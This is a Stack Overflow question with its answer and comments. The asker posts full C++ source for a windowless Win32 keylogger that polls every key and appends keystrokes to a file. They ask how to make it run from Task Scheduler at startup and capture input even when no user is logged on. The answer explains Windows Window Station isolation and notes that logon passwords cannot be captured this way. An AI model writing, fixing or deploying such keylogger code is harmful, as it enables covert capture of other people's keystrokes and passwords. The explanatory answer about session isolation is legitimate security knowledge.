0

I made this c++ program, in Win32, without a console ( Win32 application). The program is supposed to get all the input from the keyboard, and put it in the file: "file.txt". When I run the program via visual studio 2012, and when I run the .exe file of the program, it works just fine.But the problem is when I'm trying to run it (the .exe file) via taskschd.msc - windows tasks scheduler: its not working. I followed the instructions on how to schedule a program in taskschd.msc as described here: http://www.sevenforums.com/tutorials/67503-task-create-run-program-startup-log.html

I did it with an administrator user.

The problem is that when the taskschd.msc starts this program, I can see in the taskmanger that the program has been started, but for some reason it doesn't put any characters into the file. What i want is, that even when the program is started with taskschd.msc, is would work just like when I activate is manually. I even tried to run in the tasks scheduler a .bat program that start the .exe, but it doesn't help, although it works fine when activated manually.
I, nor any one know, has NO IDEA how to fix this. this is the code:

  //Define the minimum operating system for the application:
#define _WIN32_WINNT _WIN32_WINNT_WINXP //Windows XP
//Get rid of the annoying min() and max() macros:
#define NOMINMAX
//Include the windows header:

#include <iostream>
#include <fstream>
#include <conio.h>
using namespace std;
#include <Windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

//if (OUTPUT_FILE == NULL )
    //return -1;

if (key_stroke == VK_BACK)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CTRL]");
else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
 else if(key_stroke == VK_DELETE)
     fprintf(OUTPUT_FILE, "%s", "[DEL]");
else if(key_stroke == VK_INSERT)
    fprintf(OUTPUT_FILE, "%s", "[INS]");
else if(key_stroke == VK_CAPITAL)
    fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == VK_BROWSER_BACK)
    fprintf(OUTPUT_FILE, "%s", "[BROWSER_BACK]");
else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);


fclose (OUTPUT_FILE);
return 0;
}
int wWinMain(HINSTANCE hInst, HINSTANCE prevInst, LPWSTR szCmdLine, int nCmdShow)
{
    while (1)
    {
        for(char i = 8; i <= 300; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            if(Save (i,"File.txt")==-1)
                return 0;
        }
    }

return 0;
}
789
  • 718
  • 1
  • 10
  • 30
  • 3
    100% CPU core load, continuous writing to disk while key is held, opening and closing file for each key being held. This is the most awful keylogger I've ever seen. – n0rd Nov 20 '13 at 17:25
  • its just a test. i know its really bad. i'm just starting out. but why isn't is working? – 789 Nov 20 '13 at 17:50
  • Have a look at http://stackoverflow.com/questions/103427/displaying-window-on-logon-screen-using-c-sharp-in-windows-xp – Jerry Jeremiah Nov 20 '13 at 22:42

1 Answers1

1

I'm not an expert on this matter, but anyway, I guess you created scheduled task with "Run whether user is logged on or not" option selected. This makes task scheduler to run tasks in separate Window Station to prevent messing with desktop and (in your case) input devices, such as keyboard and mouse.

You can add following code to your program to check in which Window Station your program runs:

HWINSTA station = GetProcessWindowStation();
char buffer[1024];
BOOL result = GetUserObjectInformation(station, UOI_NAME, buffer, 1024, NULL);

if contents of buffer variable is not WinSta0 you are out of luck.

And no, you won't be able to steal password entered at logon.

n0rd
  • 11,850
  • 5
  • 35
  • 56
  • why not? and if I will do it without this option, should it work? does it matter that the program is located on C:\Program Files ? – 789 Nov 21 '13 at 20:03
  • If you create task with "Run only when user is logged on" option, then it should work, but only for input made by that particular user while the he is logged on. Where you run it from makes absolutely no difference. – n0rd Nov 21 '13 at 21:48
  • why? is there a way to make it work even if he isn't logged on? – 789 Jan 09 '14 at 19:52
  • Because that's how Windows works. Read the article I linked in the answer. At least partially it is done for security reasons, I think: so no one is able to steal a password user enters at logon. – n0rd Jan 09 '14 at 21:35